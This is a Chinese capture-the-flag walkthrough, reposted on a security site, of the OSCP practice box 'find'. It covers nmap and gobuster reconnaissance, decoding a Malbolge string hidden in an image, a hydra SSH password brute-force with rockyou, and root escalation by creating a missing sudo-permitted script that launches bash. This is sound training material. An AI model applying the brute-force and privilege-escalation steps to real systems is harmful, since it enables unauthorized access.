【OSCP】find

admin 2024年5月27日00:43:43评论4 views字数 2242阅读7分28秒阅读模式

OSCP 靶场

靶场介绍

find

easy

Malbolge Languages、strings查看、hydra爆破、sudo perl 提权

信息收集

主机发现

【OSCP】find

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -A -p- -T4 192.168.31.253
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-13 07:05 EST
Nmap scan report for 192.168.31.253
Host is up (0.00077s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 6e:f7:90:04:84:0d:cd:1e:5d:2e:da:b1:51:d9:bf:57 (RSA)
|   256 39:5a:66:38:f7:64:9a:94:dd:bc:b6:fb:f8:e7:3f:87 (ECDSA)
|_  256 8c:26:e7:26:62:77:16:40:fb:b5:cf:a6:1c:e0:f6:9d (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:42:66:BC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.77 ms 192.168.31.253

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.70 seconds

目录扫描

目录扫描只扫到了一个robots.txt提示find user,另外发现 一张图片,通过strings 查看字符串存在加密信息

gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt      -u http://192.168.31.253/ -x php,html,txt -e
gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt      -u http://192.168.31.253/ -x jpg,png,gif -e

【OSCP】find

【OSCP】find

【OSCP】find

【OSCP】find

cat cat.jpg
或者
strings cat.jpg

【OSCP】find

【OSCP】find

>C<;_"!~}|{zyxwvutsrqponmlkjihgfedcba`_^][ZYXWVUTSRQPONMLKJ`_dcba`_^]Uy<XW
VOsrRKPONGk.-,+*)('&%$#"!~}|{zyxwvutsrqponmlkjihgfedcba`_^][ZYXWVUTSRQPONML
KJIHGFEDZY^W[ZYXWPOsSRQPON0Fj-IHAeR

对字符串进行解密后获取用户名字

https://malbolge.doleczek.pl/

【OSCP】find

权限获取

 hydra -l missyred -P /usr/share/wordlists/rockyou.txt   ssh://192.168.31.253

【OSCP】find

【OSCP】find

权限提升

系统内还存在其他用户,查看user.txt flag 还需要提权到kings 用户

【OSCP】find

通过sudo 提权到kings 用户,成功获取到user.txt

【OSCP】find

sudo -l 查看到kings 用户下可以执行boom.sh 脚本,但是并没有该文件

【OSCP】find

既然没有该文件那么我们就创建一个sh 脚本

kings@find:~$ mkdir /opt/boom
kings@find:~$ echo "bash" > /opt/boom/boom.sh 
kings@find:~$ cat /opt/boom/boom.sh 
bash
kings@find:~$ chmod +x /opt/boom/boom.sh 
kings@find:~$ sudo /opt/boom/boom.sh 
root@find:/home/kings# id
uid=0(root) gid=0(root) groups=0(root)
root@find:/home/kings# cd /root
root@find:~# ls
root.txt
root@find:~# cat root.txt 
c8aaf0f3189e000006c305bbfcbeb790
root@find:~# 

【OSCP】find

原文始发于微信公众号(贝雷帽SEC):【OSCP】find

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月27日00:43:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【OSCP】findhttps://cn-sec.com/archives/2779029.html

发表评论

匿名网友 填写信息